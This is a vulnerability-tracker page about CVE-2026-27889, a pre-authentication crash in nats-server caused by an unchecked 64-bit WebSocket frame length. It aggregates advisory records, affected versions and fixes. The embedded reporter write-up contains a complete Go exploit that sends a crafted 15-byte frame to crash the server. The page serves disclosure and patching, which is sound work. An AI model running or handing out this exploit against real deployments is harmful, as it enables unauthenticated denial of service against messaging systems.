Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

NATS: Pre-auth remote server crash via WebSocket frame length overflow in wsRead

CVSS 3.1 7.5 HIGHEUVD CVSS 3.1 7.5 CVSS 3.1 · [email protected] · Secondary 7.5 HIGHCVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary 7.5 HIGHCVSS_V3 Publisher rating HIGHFixed by github.com/nats-io/nats-server/v2 2.11.14Fixed by github.com/nats-io/nats-server/v2 2.12.5osv · severity unknownFixed by github.com/nats-io/nats-server/v2 2.11.14Fixed by github.com/nats-io/nats-server/v2 2.12.5KEV status unknown

cve-program · CVE-2026-27889

Published

NATS-Server is a High-Performance server for NATS.io, a cloud and edge native messaging system. Starting in version 2.2.0 and prior to versions 2.11.14 and 2.12.5, a missing sanity check on a WebSockets frame could trigger a server panic in the nats-server. This happens before authentication, and so is exposed to anyone who can connect to the websockets port. Versions 2.11.14 and 2.12.5 contains a fix. A workaround is available. The vulnerability only affects deployments which use WebSockets and which expose the network port to untrusted end-points. If one is able to do so, a defense in depth of restricting either of these will mitigate the attack.

Read the publisher's advisory

euvd · EUVD-2026-15962

Published

NATS-Server is a High-Performance server for NATS.io, a cloud and edge native messaging system. Starting in version 2.2.0 and prior to versions 2.11.14 and 2.12.5, a missing sanity check on a WebSockets frame could trigger a server panic in the nats-server. This happens before authentication, and so is exposed to anyone who can connect to the websockets port. Versions 2.11.14 and 2.12.5 contains a fix. A workaround is available. The vulnerability only affects deployments which use WebSockets and which expose the network port to untrusted end-points. If one is able to do so, a defense in depth of restricting either of these will mitigate the attack.

Read the publisher's advisory

nvd · CVE-2026-27889

Published

NATS-Server is a High-Performance server for NATS.io, a cloud and edge native messaging system. Starting in version 2.2.0 and prior to versions 2.11.14 and 2.12.5, a missing sanity check on a WebSockets frame could trigger a server panic in the nats-server. This happens before authentication, and so is exposed to anyone who can connect to the websockets port. Versions 2.11.14 and 2.12.5 contains a fix. A workaround is available. The vulnerability only affects deployments which use WebSockets and which expose the network port to untrusted end-points. If one is able to do so, a defense in depth of restricting either of these will mitigate the attack.

Read the publisher's advisory

osv · GHSA-pq2q-rcw4-3hr6

Published

### Background NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing. When using WebSockets, a malicious client can trigger a server crash with crafted frames, before authentication. ### Problem Description A missing sanity check on a WebSockets frame could trigger a server panic in the nats-server. This happens before authentication, and so is exposed to anyone who can connect to the websockets port. ### Affected versions Version 2 from v2.2.0 onwards, prior to v2.11.14 or v2.12.5 ### Workarounds This only affects deployments which use WebSockets and which expose the network port to untrusted end-points. If able to do so, a defense in depth of restricting either of these will mitigate the attack. ### Solution Upgrade the NATS server to a fixed version. ### Credits This was reported to the NATS maintainers by GitHub user Mistz1. Also independently reported by GitHub user jiayuqi7813. ----- ## Report by @Mistz1 ### Summary An unauthenticated remote attacker can crash the entire nats-server process by sending a single malicious WebSocket frame (15 bytes after the HTTP upgrade handshake). The server fails to validate the RFC 6455 §5.2 requirement that the most significant bit of a 64-bit extended payload length must be zero. The resulting `uint64` → `int` conversion produces a negative value, which bypasses the bounds clamp and triggers an unrecovered `panic` in the connection's goroutine — killing the entire server process and disconnecting all clients. This affects all platforms (64-bit and 32-bit). ### Details **Vulnerable code:** [`server/websocket.go` line 278](https://github.com/nats-io/nats-server/blob/a69f51f/server/websocket.go#L278) ```go r.rem = int(binary.BigEndian.Uint64(tmpBuf)) ``` When a WebSocket frame uses the 64-bit extended payload length (length code 127), the server reads 8 bytes and casts the raw `uint64` directly to `int` with no validation. RFC 6455 §5.2 states: *"the most significant bit MUST be 0"* — but nats-server never checks this. **Attack chain:** 1. The attacker sends a WebSocket frame with the MSB set in the 64-bit length field (e.g., `0x8000000000000001`). 2. At line 278, `int(0x8000000000000001)` produces `-9223372036854775807` on 64-bit Go (two's complement reinterpretation — Go does not panic on integer conversion overflow). 3. `r.rem` is now negative. At line 307–311, the bounds clamp fails: ```go n = r.rem // n = -9223372036854775807 if pos+n > max { // 14 + (-huge) = negative, NOT > max → FALSE n = max - pos // clamp NEVER fires } b = buf[pos : pos+n] // buf[14 : -9223372036854775793] → PANIC ``` The addition `pos + n` wraps to a negative value (Go signed integer overflow is defined behavior — it wraps silently). Since the negative result is never greater than `max`, the clamp is skipped. The slice expression at line 311 reaches the Go runtime bounds check, which panics. 4. There is **no `defer recover()`** anywhere in the goroutine chain: - [`startGoRoutine`](https://github.com/nats-io/nats-server/blob/a69f51f/server/server.go#L4076-L4079): `go func() { f() }()` — no recovery - [`readLoop`](https://github.com/nats-io/nats-server/blob/a69f51f/server/client.go#L1387-L1394): defer only does cleanup — no recovery The unrecovered panic propagates to Go's runtime, which calls `os.Exit(2)`. The **entire nats-server process terminates**. 5. The WebSocket frame is parsed in `wsRead()` called from `readLoop()`, which starts immediately after the HTTP upgrade — **before any NATS CONNECT authentication**. No credentials are required. **Why 15 bytes, not 14:** The 14-byte frame header (opcode + length + mask key) exactly fills the read buffer on the first call, so `pos == max` and the payload loop at line 303 (`if pos < max`) is skipped. The poisoned `r.rem` persists in the `wsReadInfo` struct. One additional byte of "payload" is needed so that `pos < max` on either the same or next read, entering the panic path at line 311. ### PoC **Server configuration** (`test-ws.conf`): ``` listen: 127.0.0.1:4222 websocket { listen: "127.0.0.1:9222" no_tls: true } ``` **Start the server:** ```bash nats-server -c test-ws.conf ``` **Exploit** (`poc_ws_crash.go`): ```go package main import ( "bufio" "encoding/binary" "fmt" "net" "net/http" "os" "time" ) func main() { target := "127.0.0.1:9222" if len(os.Args) > 1 { target = os.Args[1] } fmt.Printf("[*] Connecting to %s...\n", target) conn, err := net.DialTimeout("tcp", target, 5*time.Second) if err != nil { fmt.Printf("[-] Connection failed: %v\n", err) os.Exit(1) } defer conn.Close() // WebSocket upgrade req, _ := http.NewRequest("GET", "http://"+target, nil) req.Header.Set("Upgrade", "websocket") req.Header.Set("Connection", "Upgrade") req.Header.Set("Sec-WebSocket-Key", "dGhlIHNhbXBsZSBub25jZQ==") req.Header.Set("Sec-WebSocket-Version", "13") req.Header.Set("Sec-WebSocket-Protocol", "nats") req.Write(conn) conn.SetReadDeadline(time.Now().Add(5 * time.Second)) resp, err := http.ReadResponse(bufio.NewReader(conn), req) if err != nil || resp.StatusCode != 101 { fmt.Printf("[-] Upgrade failed\n") os.Exit(1) } fmt.Println("[+] WebSocket established") conn.SetReadDeadline(time.Time{}) // Malicious frame: FIN+Binary, MASK+127, 8-byte length with MSB set, mask key, 1 payload byte frame := make([]byte, 15) frame[0] = 0x82 // FIN + Binary frame[1] = 0xFF // MASK + 127 (64-bit length) binary.BigEndian.PutUint64(frame[2:10], 0x8000000000000001) // MSB set frame[10] = 0xDE // Mask key frame[11] = 0xAD frame[12] = 0xBE frame[13] = 0xEF frame[14] = 0x41 // 1 payload byte fmt.Printf("[*] Sending: %x\n", frame) conn.Write(frame) time.Sleep(2 * time.Second) // Verify crash conn2, err := net.DialTimeout("tcp", target, 3*time.Second) if err != nil { fmt.Println("[!!!] SERVER IS DOWN — full process crash confirmed") os.Exit(0) } conn2.Close() fmt.Println("[-] Server still running") } ``` **Run:** ```bash go build -o poc_ws_crash poc_ws_crash.go ./poc_ws_crash ``` **Observed server output before termination:** ``` panic: runtime error: slice bounds out of range [:-9223372036854775793] goroutine 13 [running]: github.com/nats-io/nats-server/v2/server.(*client).wsRead(...) server/websocket.go:311 +0xa93 github.com/nats-io/nats-server/v2/server.(*client).readLoop(...) server/client.go:1434 +0x768 github.com/nats-io/nats-server/v2/server.(*Server).startGoRoutine.func1() server/server.go:4078 +0x32 ``` **Tested against:** nats-server v2.14.0-dev (commit `a69f51f`), Go 1.25.7, linux/amd64. ### Impact **Vulnerability type:** Pre-authentication remote denial of service (full process crash). **Who is impacted:** Any nats-server deployment with WebSocket listeners enabled (`websocket { ... }` in config), including MQTT-over-WebSocket. This is an increasingly common configuration for browser-based and IoT clients. The attacker needs only TCP access to the WebSocket port — no credentials, no valid NATS client, no TLS client certificate. **Severity:** A single unauthenticated TCP connection sending 15 bytes crashes the entire server process. All connected clients (NATS, WebSocket, MQTT, cluster routes, gateways, leaf nodes) are immediately disconnected. JetStream in-flight acknowledgments are lost and Raft consensus is disrupted in clustered deployments. The attack is repeatable on every server restart. **Affected platforms:** All — confirmed on 64-bit (linux/amd64); 32-bit platforms (linux/386, linux/arm) are also affected with additional frame-desync consequences. ( NATS retains the original external report below the cut, with exploit details. This issue was also independently reported by GitHub user @jiayuqi7813 before publication; they provided a Python exploit.)

Read the publisher's advisory

osv · GO-2026-4841

Published

NATS: Pre-auth remote server crash via WebSocket frame length overflow in wsRead in github.com/nats-io/nats-server

Read the publisher's advisory

Affected versions, risk and source history

cve-program · CVE-2026-27889

Published

nats-server

Vendor product

Publisher's version information

Shown as published. These rules are not interpreted as NuGet package version ranges.

{
                    "vendor": "nats-io",
                    "product": "nats-server",
                    "versions": [
                        {
                            "version": ">= 2.2.0, < 2.11.14",
                            "status": "affected"
                        },
                        {
                            "version": ">= 2.12.0, < 2.12.5",
                            "status": "affected"
                        }
                    ]
                }

Original source record · Cite this exact observation · Complete original publisher JSON

euvd · EUVD-2026-15962

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Mar 25, 2026, 7:36:36 PM

dateUpdated: Sep 9, 2026, 12:05:00 PM

4 related source bulletins · separate from aliases

RHSA-2026:23345: Red Hat Security Advisory: Multicluster Global Hub 1.6.2 security update

CVE-2026-4427 · CVE-2026-21728 · CVE-2026-25679 · CVE-2026-27137 · CVE-2026-27889 · CVE-2026-29785 · CVE-2026-32280 · CVE-2026-32281 · CVE-2026-32282 · CVE-2026-32283 · CVE-2026-32285 · CVE-2026-32286 · CVE-2026-33186 · CVE-2026-33215 · CVE-2026-33216 · CVE-2026-33217 · CVE-2026-33218 · CVE-2026-33219 · CVE-2026-33247 · CVE-2026-33413 · CVE-2026-33487 · CVE-2026-33810 · CVE-2026-33813 · CVE-2026-33997 · CVE-2026-34040 · CVE-2026-34986 · CVE-2026-40890 · CVE-2026-41602 · CVE-2026-41603 · CVE-2026-41604 · CVE-2026-41605 · CVE-2026-41606 · CVE-2026-41607 · CVE-2026-41636 · CVE-2026-43869

RHSA-2026:21769: Red Hat Security Advisory: Multicluster Global Hub 1.5.4 security update

CVE-2026-4427 · CVE-2026-21728 · CVE-2026-25679 · CVE-2026-27137 · CVE-2026-27889 · CVE-2026-29785 · CVE-2026-32280 · CVE-2026-32281 · CVE-2026-32282 · CVE-2026-32283 · CVE-2026-32285 · CVE-2026-32286 · CVE-2026-33186 · CVE-2026-33215 · CVE-2026-33216 · CVE-2026-33217 · CVE-2026-33218 · CVE-2026-33219 · CVE-2026-33247 · CVE-2026-33413 · CVE-2026-33487 · CVE-2026-33810 · CVE-2026-33813 · CVE-2026-33997 · CVE-2026-34040 · CVE-2026-34986 · CVE-2026-40890 · CVE-2026-41602 · CVE-2026-41603 · CVE-2026-41604 · CVE-2026-41605 · CVE-2026-41606 · CVE-2026-41607 · CVE-2026-41636 · CVE-2026-43869

WID-SEC-W-2026-0641: NATS Server: Mehrere Schwachstellen ermöglichen Denial of Service

CVE-2026-27889 · CVE-2026-29785

RHSA-2026:22347: Red Hat Security Advisory: Multicluster Global Hub 1.4.5 security update

CVE-2026-4427 · CVE-2026-21728 · CVE-2026-25679 · CVE-2026-27137 · CVE-2026-27889 · CVE-2026-29785 · CVE-2026-32280 · CVE-2026-32281 · CVE-2026-32282 · CVE-2026-32283 · CVE-2026-32285 · CVE-2026-32286 · CVE-2026-33186 · CVE-2026-33215 · CVE-2026-33216 · CVE-2026-33217 · CVE-2026-33218 · CVE-2026-33219 · CVE-2026-33247 · CVE-2026-33413 · CVE-2026-33487 · CVE-2026-33810 · CVE-2026-33813 · CVE-2026-33997 · CVE-2026-34040 · CVE-2026-34986 · CVE-2026-40890 · CVE-2026-41602 · CVE-2026-41603 · CVE-2026-41604 · CVE-2026-41605 · CVE-2026-41606 · CVE-2026-41607 · CVE-2026-41636 · CVE-2026-43869

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

nvd · CVE-2026-27889

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Modified

Weakness classifications: CWE-190 · CWE-1286

Original publisher date fields

published: 2026-03-25T20:16:27.210

lastModified: 2026-09-09T13:19:10.343

1 source CPE criteria · context only
  • cpe:2.3:a:linuxfoundation:nats-server:*:*:*:*:*:*:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GHSA-pq2q-rcw4-3hr6

Published

github.com/nats-io/nats-server/v2

Go

SEMVER · introduced 2.2.0 → fixed 2.11.14

github.com/nats-io/nats-server/v2

Go

SEMVER · introduced 2.12.0 → fixed 2.12.5

github.com/nats-io/nats-server

Go

SEMVER · introduced 0

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GO-2026-4841

Published

github.com/nats-io/nats-server

Go

SEMVER · introduced 0

github.com/nats-io/nats-server/v2

Go

SEMVER · introduced 2.2.0 → fixed 2.11.14 → introduced 2.12.0 → fixed 2.12.5

Original source record · Cite this exact observation · Complete original publisher JSON

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 15 Nov 12:11 UTC · 256 of 275 readable · 252 fully read · documentation 469/469 current